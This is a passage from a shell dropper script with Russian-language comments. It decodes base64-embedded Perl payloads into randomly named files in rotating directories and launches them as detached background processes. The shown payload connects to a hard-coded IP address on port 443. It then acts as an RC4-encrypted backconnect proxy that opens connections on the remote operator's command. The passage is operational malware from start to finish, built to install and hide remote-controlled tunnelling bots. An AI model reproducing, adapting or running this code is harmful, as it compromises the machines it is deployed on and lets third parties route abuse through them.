OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #12 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #12 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 13 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #13 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #13 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 14 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 